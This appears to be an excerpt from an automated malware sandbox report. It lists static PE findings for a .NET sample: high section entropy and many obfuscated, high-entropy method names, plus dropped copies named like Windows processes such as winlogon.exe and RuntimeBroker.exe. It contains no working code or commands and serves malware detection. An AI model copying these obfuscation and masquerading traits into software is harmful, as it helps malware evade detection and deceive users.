Source: QeWHGGzCXwoQygZUiDI.exe.0.dr Static PE information: section name: .text entropy: 7.181001669027784
Source: winlogon.exe.0.dr Static PE information: section name: .text entropy: 7.181001669027784
Source: QeWHGGzCXwoQygZUiDI.exe0.0.dr Static PE information: section name: .text entropy: 7.181001669027784
Source: RuntimeBroker.exe.0.dr Static PE information: section name: .text entropy: 7.181001669027784
Source: B9exXW7c3t.exe, mUOGFuaUTbL16qXydlh.cs High entropy of concatenated method names: '_364', 'DvbG4MTmGO', 'QdmG7PiI0B', 'IP4GptVdF0', 'KV0GTWUXZg', 'Jb2G5iyvBL', 'tY1G0F745A', 'dq31obNabkOBr7Ad3yp', 'zg8f96NHxWoNK4AagtH', 'PrMBrPNNQGPRXpeYCAd'
Source: B9exXW7c3t.exe, DN9sW0x2Z9MMTpAyCO.cs High entropy of concatenated method names: '_3C3', '_7WJ', 'S9L', 'B28', 'dxx37vAZb', 'pOXGreD8pT0AL4s4bFk', 'nwRqiwDZN96d0uTOpA2', 'TDme1HDEiHAhCm1fVVq', 'E2ZnsvDrDNSgDgCHbBt', 'UPn3IiDvvjv7ueKQ9vt'
Source: B9exXW7c3t.exe, L3vUX1IfxFD46E7BKwD.cs High entropy of concatenated method names: 'oB5', '_7u7', '_4U6', 'CisBH65CSr', 'E5xdJiZiet', 'FIfBFKGx36', 'OBndIBbqgI', 'dSHSJrFfVT3xbxssqKA', 'gvv9AEFSLXP0IKGCkSn', 'dJiNk1F4QpdgpvjSfy9'
Source: B9exXW7c3t.exe, E3hYP5DV9FCTZHOWDio.cs High entropy of concatenated method names: 'e4lRv2BcsQ', 'CvspoObZEA3J1XWBrju', 'FpUhCwbEPnlWNd1f1FX', 'dSywW2bxiyinLFUlcWd', 'tH8XSOb8gG9HLow3Hj6', '_8e5', 'du0KfqWdGP', 'E75', '_2e1', '_127'
Source: B9exXW7c3t.exe, CwOI7WyuvQkS7eL03bb.cs High entropy of concatenated method names: 'lDyyAsXIXT', 'KuKOdKjcvCc92PdNK6D', 'ShxQIqjNmvyFqqlbutZ', 'AMmtYmjFJlUGP1i4VKA', 'fYBwOmjY9Dx2vmcxbbn', 'hwGokfjVNy5C7FhPIm3', 'amy', '_7WJ', '_3TA', 'B28'
Source: B9exXW7c3t.exe, rdojq4ItpbW8XRCNNUk.cs High entropy of concatenated method names: 'YBUg2JYblX4P7PQaFKo', 'WuOXZcYfOOwIdK4WqGa', 'OojMlbYMhtolw5LkmIg', 'FCmsJjY4Iw48gm9aI0Q', '_26G', 'z33', 'wXdBLhliaP', 'LXfBOLONwE', '_987', 'oIiBUK6nW4'
Source: B9exXW7c3t.exe, cl4GdKIzCmJ1bb2i6as.cs High entropy of concatenated method names: 'w4XBKmyn3l', 'kjtBRmY0PX', 'bJeBgYxl1n', 'uDdoJWYith9rXGnylKV', 'dbCoyZY9DbUKtMsO3Pt', 'ABfg7nYSIFZQNvH0tPf', 'fZe6tYYqSbqGBmDN8NR', 'qIffZdYTGDtTxQa2RbZ', 'ymplHQYB6ZRNtynMLod', 'bC0ynYYKOuq14eOEjbt'
Source: B9exXW7c3t.exe, bJs7FMymEvuELRtULT1.cs High entropy of concatenated method names: '_93E', '_7WJ', '_855', 'B28', 'tyBFJ8QkxXvfQSXQ3Ja', 'YpMKw0QMQ3oWnA3ecQR', 'JDJPZBQ4w4uu7rFGPpa', 'E50ErIQb2KseUZWMHXJ', 'a5fJVHQfVgYXIr9FYjk', 'HrDgsbQSiRSUbHFAnNW'
Source: B9exXW7c3t.exe, Irsi3taJEBGkmWkCXdh.cs High entropy of concatenated method names: '_56e', '_248', '_86A', 'vj4', 'W5n', 'kuom1Dq3tS', 'nWNmipHCHE', 'a6B', 'Khk', 'H1w'
Source: B9exXW7c3t.exe, cLoGymDxDf7lJry8cWv.cs High entropy of concatenated method names: 'lf8dxXbjsgbmhKA3NSK', 'PmH4ovbhEyi948siBLu', 'dJnSf7buoddbhpnrpiT', 'qZijnSbOvG70i6cgbfq', 'Aa26uFqIS9', '_71i', '_951', 'zR76EkjeRc', 'TH76VnB4LI', 'TVR6vbsHCZ'
Source: B9exXW7c3t.exe, XWjuu0aGWVmnaZjYe5W.cs High entropy of concatenated method names: 'EwTFEF1NNT', 'SiwFV1BXkn', 'WMNFvtyoOD', 'zGpF28XAYr', 'xCjFwbASfj', 'iPdU40NX2B8DuZAcOCl', 'MCrCQ1NtKLYEOuESNT9', 'ES3jphNDQRexYr2iAbS', 'KbEuv5N7MBSLhe4Nh5Y', 'hVCdTvNo43h1EUYEkJR'
Source: B9exXW7c3t.exe, c5kjUoQIymZVsKiuE0q.cs High entropy of concatenated method names: 'GvSbXFRatS4DM9h46uM', 'O7s9w2RH4a24JO2kJ4l', 'UO0GDbRNP6rtH6kEDZQ', 'wuLGuhRVpglWGaXsX9m', 'wPH7C3kxxE', 'BKIHJWRCWABb2SQKo1T', 'zBpqBfRR5XdPc1WnXd1', 'q3DCI2RlwR2NVP2yS3o', 'Y6e4NURp6shJZMD6G6j', 'tqqs56RxqTj47DCjBiU'
Source: B9exXW7c3t.exe, qqi13PapPyHclZGgrwT.cs High entropy of concatenated method names: 'jC6Gxt4eRt', 'PoVGuehvMw', 'hSdGEmi6R5', 'csuGVZZYWY', 'iUqGvPHLcn', 'WZSwImNMoSOmQ2p6l7P', 'd8VM6UN46eRlDNj8qs5', 'WNEs5rNv4EqwNemOnSV', 'fyiIQRNkTlR6ZJ4SHVY', 'dJDV2hNbWPYsEkrqcSu'
Source: B9exXW7c3t.exe, FVLSPtISgSIRiFJcZxa.cs High entropy of concatenated method names: '_348', '_55c', 'F36', 'Ogfd7FQc0w', 'iMUdBCdPRl', 'RUpdtQFpjf41B7YbWMI', 'kpBs4yFCQtbnWqUXg1x', 'UnRaPsFR1All5qk1i0I', 'bXjxkcFxvpAAFxMnQKv', 'r9Go7gF8Zterd5w8aQ1'
Source: B9exXW7c3t.exe, Cd6UEFeeuWsEEh0VX0i.cs High entropy of concatenated method names: 't6AeYdG37b', 'S8peSDPG78', 'o4DeJ2EJ2T', 'EkZefH3OAK', 'xXWennr7hm', 'UuheAIp8wE', 'iZgZTXL1jXr4BcN9ARC', 'WEOLJ5LGH7s5URTwubB', 'WOdoKKLwE7HtVxpm4Lq', 'CTfS0nL56WdQ4dT3akh'
Source: B9exXW7c3t.exe, YWjGtKDeItRQVlR0V7c.cs High entropy of concatenated method names: 'YgZqcnM5qw', 'VNoqXUBJ4a', '_431', 'no9qBtdm0X', 'y9pqH6a7R5', 'EAwqFNj1Fm', 'n4bqGMwYdA', 'wyMOxrkUUpaJogIvas9', 'e0YO4Gk6Nwli6HplfxM', 'lT24OqkdSpdre4D65vV'
Source: B9exXW7c3t.exe, aC7hJ2IGnRpUcdYMfiU.cs High entropy of concatenated method names: '_8o8', 'v0bP58U6rqMq7pwBDSK', 'TDVherUdAcOoTsdKoOS', 'n9JhHNUFJxXqfFSr2cH', 'O5RXqdUYimZjTResWnw', 'sJn973Uc2tOFgG95Crl', 'YeyWyxUNry3xSGFuq6x', 'tSNmJtUVr2ya3F5Ut2D', 'JTylITUaR0Bj85QUf76', 'Cjh9o1UHRc9o07LaWNu'
Source: B9exXW7c3t.exe, pNmNPgQWTjVOom8tRcw.cs High entropy of concatenated method names: 'iwrCn6YiZE', 'PRkCA7bMoI', 'i4gCNMwPwg', 'j0yCtKXsk3', 'F7MC9yu6ro', 'brkCd40rPb', 'Y5IiI1EJYTkVApwcrX4', 'S5N0IWEKHOFeGHx4ryx', 'f7QhpkEsFp36Ec2N6WJ', 'pkbbtiEnELoYkjKMUR1'
Source: B9exXW7c3t.exe, hWnHtXI4LI2kEcrqCir.cs High entropy of concatenated method names: 'MvnX1WOUOq', 'o13XiPPyHc', 'PZGXLgrwTw', 'R2M6466ToXs8KF1eSs6', 'Vf1QLg6i1DSOvJ7Tfi2', 'uIrblf69FkDOS4NnKX6', 'oFhW016B3VW5qNlqPKh', 'DVRXDF7GnD', 'XBbXswyrS7', 'UjuXcE5iTB'
Source: B9exXW7c3t.exe, QUKtDHt2LD6YEf1Lva.cs High entropy of concatenated method names: '_1h5', '_7WJ', 'TyQ', 'B28', 'Xuso0ftSvsvfP5LxSGJ', 'FnVAhytqdIDAcmZO89L', 'sE3Zq8ti4x8VlssJAgv', 'RjfhCkt92mhtmGK8UN4', 't7BEnKtTRP45cAvmpkO', 'TKjcaTtBeB1fHsdJ8Kl'
Source: B9exXW7c3t.exe, fQd2mte5qAoIyrMUPV9.cs High entropy of concatenated method names: 'gqvapUJtoJ', 'aegaTy15q2', 'JRwa50YdRB', 'zQAa0vNRTT', 'x6PaCks8tj', 'KCaV1dgol3i9N7Tpc5H', 'cI8k8fgQBlZJoiM3eiN', 'Gi1HxmgXScG8jFJ6SJ5', 'LRWixLgt0F6l4C1fNBM', 'JkcDGcgugN5fEtZQkx8'
Source: B9exXW7c3t.exe, Hktwv5yPrEU6jJsEnoD.cs High entropy of concatenated method names: 'QrHe5GJATE', 'dP2e0KrOMF', 'PoDeChSUWy', 'FZgIkKII1B4cyBkeI0U', 'VZq9sRIjU1tU0PcIaNg', 'nyTOp8IhOtowRw1D7ON', 'YHsmtEILarJWxoFwhdJ', 'pK7owIIAm1VwSEaqgTW', 'HPNiSXI2pZFOdUcKsPm', 'XSvf89I0E2NCu5ME4eM'
Source: B9exXW7c3t.exe, J2m2lwwSyRb6XKuvx3.cs High entropy of concatenated method names: '_8k1', '_7WJ', 'B73', 'B28', 'DUremy7nmWUTtwcqf1o', 'vDKcHl7yLvf2ss7AiMJ', 'PlGE4173bFbWSCqJfc8', 'YQpes47maUW3uguJ7Vo', 'sIfcol7zZHj2pol0odQ', 'KXoTiyXPnOOubqKBrhM'
Source: B9exXW7c3t.exe, xTZqH8D6vqo2Pm2D1ZN.cs High entropy of concatenated method names: '_518', 'E6y', '_17E', '_79s', 'XCq', 'vm2', '_5yr', 'dlO', 'Q7M', '_59C'
Source: B9exXW7c3t.exe, BaddaJvL1MaIr3usK0.cs High entropy of concatenated method names: 'a4d', '_7WJ', 'Lq4', 'B28', 'uV84JR7Z6toXkb2Ybke', 'XyNwGs7EMLarQtFB7dn', 'MyXsVl7rr5JrcOZAYyK', 'Lp2Rx27vIDnR3AooiiL', 'wqcUbr7kO8GeZTLe2B2', 'WDcbe27MRKf8umuEbyf'
Source: B9exXW7c3t.exe, Ox0AD3sJiSZqX8g01I.cs High entropy of concatenated method names: 'wADk3JiSZ', 'D7xHDiR6so9sgPtaLv', 'YVEUjdpXGjLvSHNviN', 'gcfJZECqpL19BgroVg', 'DSE5fIxjWVdxxkY0q7', 'qfgJt98HkPnPTmuNhp', 'BHXerKqmk', 'EYhIdRp5O', 'UOhaVXE1Z', 'WP5Q7wQBu'
Source: B9exXW7c3t.exe, nHQSHvevmwHhx9mIvAU.cs High entropy of concatenated method names: '_0023Nn', 'Dispose', 'wL8Qu6F6rV', 'NguQEw1HQS', 'jvmQVwHhx9', 'mIvQvAUsJk', 'DArQ2NUPAm', 'L3LF1Dw2hI33eaB6jW6', 'dQhRTgw0OXGbjkE9C6A', 'p9g71twLrHGCk5f2hFq'
Source: B9exXW7c3t.exe, kLD7gXMi8thSuYwpdl.cs High entropy of concatenated method names: 'sd4', '_7WJ', '_2zX', 'B28', 'iyrPGHXwiRYSndM56At', 'NLHpeYX5RqZKj4pwMgK', 'BlGLesX1gdC6dfilHMA', 'C9tQ2IXGd48bNvynfmE', 'yooOcLXU7umsWFxbxLK', 'X8GDrDX6VFWmJj4lt3v'
Source: B9exXW7c3t.exe, Y8W3JkerfmFu1UanPJB.cs High entropy of concatenated method names: 'Usae8Tj4go', 'xBweqgZkXd', 'PaZe6ADdWj', 'OUeXbqIxXVI4HIIZjUg', 'QaU3L5I8c0xRSq7aIVw', 'sW2L3DIZcmltBKmVCMY', 'mqdBS4IEYuX67LZdqNr', 'btkS8LIrdSEvJh2WTvY', 'yL6iI9Iv00pu6uobBfC', 'DARpj8ICcs4Oc9YhD8K'
Source: B9exXW7c3t.exe, L2Xg14eRMRYHA21WiuF.cs High entropy of concatenated method names: 'F6oadfiEup', 'fK3aPRoC4b', 'b65azRnuY7', 's8tQr0dcRu', 'fK2QyAxpja', 'I45QeE3D8l', 'QJpQITEHru', 'XxEQalIGca', 'TwjQQ0DQd2', 'xKRgR1ePUpNHk1KFvkq'
Source: B9exXW7c3t.exe, GYVwLga6vupAmJtdDLh.cs High entropy of concatenated method names: 'fgCkxhdqSN', 'W82kuxQSrl', 'l3fkEscvRm', 'dqxkVe19In', 'D4Gkvif5F1', 'Fv71LtVYKoSFyUyP3R0', 'QiibhDVdSxfp9nlIv7H', 'ISfpxfVFOc7m7dMOiAJ', 'IM1HvkVc3GGDl0lOCrR', 'n903NpVNTOvvshrK6KT'
Source: B9exXW7c3t.exe, HxiJNeDrMF3JhcnBaNt.cs High entropy of concatenated method names: 'pxw8hWmuZp', 'eTQ8lidkvD', 'MC28Yv8BuK', 'bGV8SmMyEs', 'irj8JTB5V3', 'BF48fIiCSr', '_613', 'IO3', 'Mp1', '_7FY'
Source: B9exXW7c3t.exe, NNtyoOQPD6Gp8XAYr8C.cs High entropy of concatenated method names: 'qdl8KSB16Y', 'UHw8Ri8mZk', 'OOt', '_8Md', 'qrX', '_1N5', 'x8o', 'ppe8gS8YLG', '_2m4', 'v4c'
Source: B9exXW7c3t.exe, jI5vyBAlfcvGDysXIX.cs High entropy of concatenated method names: '_321', '_7WJ', '_726', 'B28', 'O7DZEHtHXqrJtMXpQCv', 'ujJgwQtl8ot4QeNnkKo', 'vo5yf1tpxXV5meknxAT', 'wOprSotCi4mbga9wEc3', 'nEILsbtRD7loEkeR7h1', 'Qss76HtxGrj3LU4sQJ9'
Source: B9exXW7c3t.exe, u2YAlQeLSjLIXFoaTjB.cs High entropy of concatenated method names: 'SIxIdyFaVg', 'xqJIPbgQGE', 'gXpgBl2YUvM3eUEvgOH', 'zyeUJp2cuXwGQ0XuVvW', 'nZhpv22NVSCxFOGdJXv', 'dTTUP72VKROrUkNXNQm', 'FSxPHc2apbnuNRvgVan', 'hw59vx2HGDaaUEBYEVf', 'Rpbr9j2lDFJlxDJbdnD', 'ooI2kl2p12Fi5Y0k7fd'
Source: B9exXW7c3t.exe, Wpjnb3ePhoMD6WO4cag.cs High entropy of concatenated method names: 'qREs8xDu4h', 'XohyH15yHytr7kQ2tsF', 'wFnlnw5JsKj65BZHZDS', 'NGl5Uu5nGV5Cn2ko7tV', 'M2y5Xy53eZrjsVloM3H', 'IFy5I15mhFQONf6y4Cg', 'me3sUP2yFS', 'c7Ls4toTv9', 'WmAs7R7IMp', 'BVLsp0sZm4'
Source: B9exXW7c3t.exe, o2sSdQoawP3CfXP4Ec.cs High entropy of concatenated method names: 'j37', '_7WJ', 'm1w', 'B28', 'mBBwpQWu5', 'x2IgqsD1M8CkYITsUaV', 'wwUVgNDGjNi3rB1PThc', 'dsyEmeDU81sX8alryu3', 'V473hsD6RNvZytIo4vO', 'nJf6SCDdDswI2MtrRJl'
Source: B9exXW7c3t.exe, emt9afyRI4hw8olZXyv.cs High entropy of concatenated method names: '_84K', '_7WJ', 'dM7', 'B28', 'oSC2mhOE5088lkhi0ob', 'DtWIqmOrKJmvA2OWOyN', 'X0LycuOvcmWxUNBpZ7O', 'ph4aI0OkaKQFbSS3dp0', 'PXdImIOMyFouXK8VYL6', 'yYtmd3O4LtGTbs06JAn'
Source: B9exXW7c3t.exe, oqs2qqIT0kOMHOq3aHV.cs High entropy of concatenated method names: 'qTn', 'rMM', '_561', 'P7I', '_6pi', 'VqM', 'IoolYHd5fTgyOSsCy66', 'RhVAKRd1X8Z7rd7Sdct', 'IoL8A0dGZslruZA2u66', 'wXSNjCdU2IudeQGmid8'
Source: B9exXW7c3t.exe, M65ev3IC9aQdwn6o6NP.cs High entropy of concatenated method names: 'mCiXW77oMs', 'ct9Xx1r2rV', 'FxjnMUdFARdbCPYED1P', 'Vj4Ot8dY0NrOawrhQ9x', 'TkhS0ud69YqU8FQQMKQ', 'B2B0fEdd7VudoHagcuP', 'briXFOdckOMCYNaXKVu', 'c1by5PdNkqSLeHtQZnx'
Source: B9exXW7c3t.exe, iMCfIqQX3VfZOwARpue.cs High entropy of concatenated method names: 'qU3C7vOBF5', 'TyNCp7EspK', 'HL61aBZzLeUvo6i5dbq', 'B9SwXpEPgIZSo17pB4F', 'xh5VJFEWAD5dpHBAg74', 'eOYyTFEDCI4d6jBAC26', 'YB1DjFE7cfwH3DIb1Y8', 'yuK7X7EXjQNkaKtHcsY', 'U5ekuYEt49luArriBwB', 'S2epsJEojeD18BioBNR'
Source: B9exXW7c3t.exe, HRF7GnaLD9BbwyrS7Nj.cs High entropy of concatenated method names: 'DeVGabB576', 'AlgGQlGPun', 'l9nGDbK6NB', 'QVH6OxN6BrpQj2q7fwb', 'VVH6FKNdw5nnlWllLxn', 'aQYFgkNGuaYXjJ6Ufp1', 'BlUwJyNU9BuiFAhKLY8', 'xTlbGfNFPO9Z0jmqQuA', 'hun5nhNYEWIaTieaFmJ', 'dC64R4Nc38AGOSGVWTw'
Source: B9exXW7c3t.exe, QNSbbaIlR4QnVnS0rJ2.cs High entropy of concatenated method names: '_2P7', '_79b', '_16R', 'kB8Ba6Thmu', 'xmQd5G2uwY', 'QfPrx9F56hucgSJtFrt', 'F8J9YRF1MKoVfsU6QmH', 'PPX4OpFGwPxuSf8VX5V', 'eROMiWFUwxgAhnCn4v4', 'YbZsdnF6I4f7qhL11Gq'
Source: B9exXW7c3t.exe, NW21UUjmtLQf4rl7c5.cs High entropy of concatenated method names: 'iW5', '_7WJ', '_5CE', 'B28', 'w8FPe9XhIYpg0qwPbnT', 'gRIcdsXIPxhtefni73M', 'trFcv1XLVR22TIPQ3Pq', 'Ln3OZMXAOVKR3s5Np04', 'jtm7kxX29u4qk47cqkK', 'POS7sJX0dkYTD9iyv32'
Source: B9exXW7c3t.exe, tGEHOreX6Fv3rwi0J5r.cs High entropy of concatenated method names: 'GyvIWXhX86', 'K06Ixuu3OP', 'T2LIu9XxPk', 'roMIEn89mD', 'AIJIVq4lad', 'UrXIvKCS6p', 'YyEI26MSI5', 'bnypOsAH3O82OwfEhB7', 'zEnQQ0AVvNtUSZUeZTh', 'IS7fo2AaZkcLANPWJln'
Source: B9exXW7c3t.exe, ydAeaJeuCJSwTqDxMMr.cs High entropy of concatenated method names: 'QqdQgAeaJC', 'aBKwvmw7a8uhGuc1wTu', 'jMXOoGwXeMX0kjSaot9', 'eSDTT2wW2M48H71Zddh', 'PESFJEwDh5hJShautXe', 'oZsd1Nwt1feYIqAe64g', 'xbvbe1woCcaTTuMAmm2', 'HdIyZfwQ3e5QSFvBJcY', 'nEOrISwu1dlBZq5t4eY', 'J8HuoQwOuhMPHp2ZX6v'
Source: B9exXW7c3t.exe, bRbjkEIyLwYoEGFoNHx.cs High entropy of concatenated method names: 'm6Psgu6kD2', 'caJsbtbRv7', 'BAtsoYGtrL', 'BV3sWq97Pp', 'VmUc0C1tfSFi3mq7nia', 'GvsYg4175xfClXxfjOy', 'Yh4U7O1XpkUBtSC2GL6', 'Ix2pCg1otxXC24WAH2M', 'noCQZk1Q2gii0yTo0vv', 'XvIYge1uv1byIUpsAJH'
Source: B9exXW7c3t.exe, LQ1cuMyQlYJeb0Pubge.cs High entropy of concatenated method names: 'tvS', '_7WJ', '_769', 'B28', 'm9JOXkoqvnlJA4IHvqG', 'DfnGsooil70vcVr6yp0', 'VeTlIXo9Bw86DFRxn9C', 'wZLT63oTyThhbIS7apJ', 'co2LRsoBqgWo4EkgjGj', 'EvZ4xAoKYdtQmE5tkIG'
Source: B9exXW7c3t.exe, H2NqPlaALvjetFSsHgw.cs High entropy of concatenated method names: 'rUDmdffEny', 'HqSmuMMIN5', 'DKJmEG1GqM', 'eYpmVTIELM', 'xA1mvhho2V', 'TWLm2GOHAl', 'V9RmwA5HqB', 'x8PmZxy7im', 'uB7mjedu9W', 'v8Wm3G5vhJ'
Source: B9exXW7c3t.exe, SjrWA6sHCRDPNvFuoDq.cs High entropy of concatenated method names: 'xgZpEjmm5ytVI', 'aWwkbpSGgFJEGnJYWNf', 'AAKZ2ySUfVHRMdW9PDe', 'uKlievS6RO7eVWiE1oG', 'njxDOxSd0QcMeeJY2iu', 'BVB2O1SFHb8o1PPtXmT', 'FeHbHcS59eVxWxojUFe', 'XAITx5S1RHuG5VExFFT', 'RIThQCSY27BPZ0L0FRU', 'nqyGfGScc04K8nJfj6X'
Source: B9exXW7c3t.exe, P1DVsSylkqfKyqtQM6r.cs High entropy of concatenated method names: 'kcheHQ2gWJ', 'QyFeFZ7BlS', 'Ragw4GhL3B7uKBXPdFh', 'atgb2Vhh9vGUElUhcBW', 'S5RB50hIteTq1ByUqvB', 'iIufN2hAfFuSEnrBMxh', 'Ulx8CYh2al4FfvivvUG', 'aXbV8uh0y1VcuRqiBme', 'LqZvBMhgKieubw7GMuO', 'A1jXR6heVjJhDZLrd46'
Source: B9exXW7c3t.exe, lNNMg3IOSMFG1d80G43.cs High entropy of concatenated method names: 'AY4cnkgigw', 'CJtcA3k5N6', 'Cf5cNeO8PZ', 'R6qctFdWju', 'G0Wc9VmnaZ', 'sokU156hFeJ0nTFG15U', 'CW8dbm6IsbmQaT3GMjA', 'AuTK3X6O3UkrT6YxFoI', 'OCB7Ap6jKiOlC1D6EBG', 'LrwNyp6LmLbKR92HUL9'
Source: B9exXW7c3t.exe, PDGHZND8mFHp0SMB5DS.cs High entropy of concatenated method names: '_9Xh', 'pA2', '_5v5', '_4m5', '_1I6', 'ynJ', '_15m', 'V8n', '_753', 'c15'
Source: B9exXW7c3t.exe, LUyyUeDTWl9Pnwr6rcr.cs High entropy of concatenated method names: 'UoLq7tw23D', 'K0sqpC7WZm', 'yOXqT1G2Dl', 'bx5q57IHJI', 'lybq0TVVTk', 'QTgMEFMDNZnuIL5ZsKK', 'I5nWDWM7lvyeted4xF5', 'bf8WMkMX7REwNPXilXM', 'h0Yv1GMt04hhGGAGZrQ', 'tI3r0uModmC02wKKNbj'
Source: B9exXW7c3t.exe, uEaP2KyXrOMFloDhSUW.cs High entropy of concatenated method names: 'xwh', '_7WJ', '_4o3', 'B28', 'uqSRPFQuPeEDG2UH9GP', 'vQWgfqQOk5dn72vIwol', 'Oe6jHkQjWyIsfBltMnq', 'IFU6vNQhCkCFfH1uvul', 'NFPZThQIO2Fqq774S4v', 'hy7G8VQLVohEepVWIAK'
Source: B9exXW7c3t.exe, GGnLJlIMEmqAxn06L6B.cs High entropy of concatenated method names: 'A9l', 'NpmdEDH9Z7', 'eYNBrsKuAE', 'eF7dWbxfQF', 'SrK5NBFD332fkgZEQwe', 'EZ8j02F7ZXe7G0pEd0S', 'NUAjquFXjFlm71uQ9Xh', 'QkkHbIFP2pnrq8UfntK', 'V6iAXHFWGdVqAIjVeiF', 'W7O1ZrFtZNhvIBXrndC'
Source: B9exXW7c3t.exe, obLgAoaQa1mZVb9gob8.cs High entropy of concatenated method names: 'LiwFLonjIN', 'jqu1uecFu2mcAjefNK8', 'hYMcgAcYgClT46E0U8L', 'CK5CL3c6Ju9CtUf8SwU', 'vvMmOUcdV2J7A0A4jDm', 'vNuBbnk7PY', 'z7VBolyvu3', 'LBCBWmsDwp', 'za5BxZqbeW', 'fKeBu87x1i'
Source: B9exXW7c3t.exe, rYcCF5yblte7JXUtgWe.cs High entropy of concatenated method names: 'EGjyhSx7Zd', 'ptHJYEj7uIZnZquXQc1', 'fUh2FWjXSdGKtakNs6d', 'ViTFDTjW71VMDBXgFqD', 'j8UTTVjDDIuTaG9MORt', 'tC4aROjtDsGOdiRRQj3', 'z8LD2hjoGG67T2n3v8W', 'JOPm6QjQs09myQlYAFq', 'RVDyYCvhLG', 'eMvYI6jjIs4cRq8dU9k'
Source: B9exXW7c3t.exe, N9EcvUySC7P4EU8iOfq.cs High entropy of concatenated method names: 'J96', '_7WJ', '_95G', 'B28', 'nyYdnvh6Qi2kl3fjVJ2', 'Bu3ID0hdBWPp1kVeKTv', 'hWSmdAhFpaAy8mHGhXA', 'TvfiJvhYYfptm6dwEAw', 'IuZh1VhckwdQE9c9hvZ', 'qeOXXkhN5WRs38oHbcf'
Source: B9exXW7c3t.exe, Edw86gy63gYAyrGvpxg.cs High entropy of concatenated method names: '_6L9', '_7WJ', '_5E1', 'B28', 'qvWvX0uzvI01qv3Qih7', 'uh6WkvOPVL3DTmT5XTs', 'cKQtCcOWbA4w6wv43M0', 'Tp71eKODCupTPKvA0fH', 'vZkNx4O7RLUeRuT6NGU', 'LMLxTOOXy36cX3PMPmj'
Source: B9exXW7c3t.exe, muSyoUaX54R1Y20mdxr.cs High entropy of concatenated method names: '_912', 'SuF', '_451', 'BdL', '_782', 'gY9', 'q92', 'ZYw', '_35s', 'I83'
Source: B9exXW7c3t.exe, xWGOqHsklDSgxDT0Beu.cs High entropy of concatenated method names: 'dNWMIYSCW330cVX3iTY', 'aki4MtSRJrIdx3QJ2yc', 'RYZxdwSlnQ0EhBcEv82', 'XannOnSp8V7xp2MIpLU', 'AP8omVBR7Q', 'bDcha3SZKX2qgi9RlJ3', 'SVP9gTSElPhrNInkRx4', 'vqI8uiSr8UJYojgdom6', 'fyGiM6Sv8NCE2Vosi9t', 'W76NoISkYvEcLF9Wjbe'
Source: B9exXW7c3t.exe, DtiTgFyIxqXYxYZuv20.cs High entropy of concatenated method names: '_732', '_7WJ', '_1t4', 'B28', 'Gta4qhopkPGgXdA9ftA', 'bmCtjboCM3aKE8ooysB', 'y3NkkjoRRtDsj2EkAte', 'UXYwdeoxrWKy4vIr9r6', 'qVuMU2o8AO9E9arxOut', 'u108ploZcVCq0ysjpSJ'
Source: B9exXW7c3t.exe, tDPG78y4i4D2EJ2TWkZ.cs High entropy of concatenated method names: 'rUmygtLQf4', 'xMyYO2u5Sj0yDd9Oxd2', 'u11MP3u1J44k4dkcAwY', 'JjbGU9ueL7edmolO5Ge', 'hKd5upuwiFATcB0ZAI5', 'JPbCXmuGa7FcbqnNjvi', 'SrRQyBuUTJQAbixo603', 'UnPx7Gu6hw2rK04IRl5', 'MjnXqvudK14d5sRbp6g', 'K9F'
Source: B9exXW7c3t.exe, E7ps5cyGGZrM4oZm6yI.cs High entropy of concatenated method names: '_16M', '_7WJ', 'QAc', 'B28', 'UmZXKmQa1XA1yX22oT6', 'dLPnndQHSIh3HIk0nax', 'hbdnqIQlJF0Kabu4oVM', 'STCZMBQps1pA9laKATw', 'DcURMrQCIs5wysjBal5', 'mxbWcdQR1vwxTBDZwHH'
Source: B9exXW7c3t.exe, aW1bNQQN30CS4ddVWQA.cs High entropy of concatenated method names: 'lG88aVWPNH', 'B8U8QJ80jJ', 'mX28DNQ2YD', 'GxU8sdiFbe', 'PP18cKl2d5', 'uv68XDA1Mn', 'fAg8BiH5l0', 'jJ48H8tvLx', 'guo8FA7IJA', 'm7n8GMOhkl'
Source: B9exXW7c3t.exe, TXQMkZEeOn8sG2PDwm.cs High entropy of concatenated method names: '_9Qy', '_7WJ', 'M4k', 'B28', 'JF5VkDD3CS4hgeFa2Zv', 'NybQsJDm4bhMEoEL5qZ', 'Tn0O1iDzCB1CSd4Nc17', 'tEZNoj7PlTXBEr5cJ8e', 'DSipnl7Wi1qpiIODYsL', 'yeOQHC7Di4Ytdw5nABw'
Source: B9exXW7c3t.exe, ikSPYYs8vr4HMWVowDF.cs High entropy of concatenated method names: 'O0uoCKXdpL', 'SfSo8dkiG9', 'eyGoqFo1VI', 'wNoo6s8gBu', 'xEGoKZ1ll8', 'IdFoR0O4DN', 'QbYogDMOTm', 'Kc3obY9IS0', 'cTtooa2H9N', 'TDyoWWUx23'
Source: B9exXW7c3t.exe, PZp7gHQ9SBRWkIU5CKY.cs High entropy of concatenated method names: '_793', '_19i', 'j2m', 'Ow880NqYav', '_91O', '_7x6', 'F7G', 'ReP', 'cA7', 'ATW'
Source: B9exXW7c3t.exe, iYfojuqa2xvAOxpplj.cs High entropy of concatenated method names: 'tDtuB66NE', 'IJCEDI7pb', 'kx9VwUNMq', 'KQLi3GWrfHWq4gPdtFE', 'HT1NbUWZqkpgtRJcqes', 'VocGaYWEr5LmsW8CB3T', 'P8JM7wWvPMMkwYOi94T', 'rjWqEwWkc4uPxHoqvkJ', 'Mb3a6IWM11VlkOlkav2', 'V1J4fLW4bqU0cRiqJkt'
Source: B9exXW7c3t.exe, kokqtBaCE9lpKbRsdxN.cs High entropy of concatenated method names: '_79V', 'UnI', 's58', '_442', 'cLokrGymDf', 'Eca', 'slJkyry8cW', 'IQxkeDroyF', 'Y42', '_21Q'
Source: B9exXW7c3t.exe, nByJsIzUKxLWfeq7NX.cs High entropy of concatenated method names: '_4W2', '_7WJ', '_6R7', 'B28', 'e99BRDoXs3GtRES0tpv', 'rvtVIPot1wWWm3qTsOr', 'TW3DlFoo05bjTLcMYK2', 'kL4wHsoQYImFci0Y2ZC', 'Jmv2TXouKEcO1Dud60n', 'h2G7G0oOYOZnNlw8r3s'
Source: B9exXW7c3t.exe, WUsxDaDDWMWmgguy1GH.cs High entropy of concatenated method names: '_77s', 'iIQ', 'vN9', '_6c2', '_4d1', '_34n', 'Jx4', 'nkV', 'k4X', 'ZyP'
Source: B9exXW7c3t.exe, GrWWkBy8hijAf7vuVQl.cs High entropy of concatenated method names: '_1I3', '_7WJ', 'Aa7', 'B28', 'Jtd4ZNui8RD8DbDjbj2', 'BL8vWFu97f0KRxRqSiF', 'pE6UB3uTXnoe9YS771M', 'eTU9OiuBtWp8etmt6AB', 'o980T2uKxSk6FAOCf1T', 'TqMSsLusPmFIkrcUkKo'
